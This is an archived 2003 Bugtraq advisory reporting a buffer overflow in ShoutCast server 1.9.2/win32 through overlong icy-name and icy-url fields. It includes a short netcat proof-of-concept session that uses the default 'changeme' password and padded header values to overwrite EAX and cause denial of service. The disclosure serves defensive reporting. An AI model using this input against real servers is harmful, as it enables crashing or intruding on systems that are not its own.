[32271] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

ShoutCast server 1.9.2/win32

daemon@ATHENA.MIT.EDU (HEX)
Mon Nov 3 12:32:24 2003

Date: Mon, 3 Nov 2003 00:42:15 +0300
From: HEX <hex@hex_net_ru.securityfocus.com>
Reply-To: HEX <hex@hex.net.ru>
Message-ID: <16437090323.20031103004215@hex.net.ru>
To: bugtraq@securityfocus.com, support@shoutcast.com, tom@shoutcast.com
MIME-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit

Informations :
°°°°°°°°°°°°
Language : Microsoft Visual C++ v5.0/v6.0 (MFC)
Bugged Version : ShoutCast server 1.9.2/win32 (and less ?)
Patched version : none
Website : http://www.shoutcast.com
Problems : DoS if we know the password from the server

Objects :
°°°°°°°
- sc_serv.exe
vulnerable variable:  icy-name(Server Desc) and icy-url(Stream URL)

Exploits :
°°°°°°°°
>nc target 8001
changeme
icy-name:AAA...[Ax275]BBBB[rewrite EAX]
icy-genre:DoS radio
icy-url:AAA...[Ax288]BBBB[rewrite EAX]
icy-pub:1
icy-irc:N/A
icy-icq:N/A
icy-aim:N/A
icy-br:160

...
stream audio data
...

P.S. Default password "changeme" !!!

Patch/More Details :
°°°°°°°°°°°°°°°°°°
Waiting for the patch at http://www.shoutcast.com ...


[ Local time 16:14   | Device not ready - äåâèöà íå ãîòîâà! ]
[ Copyright by [HEX] | mailto: hex(a)hex.net.ru ]

home	help	back	first	fref	pref	prev	next	nref	lref	last	post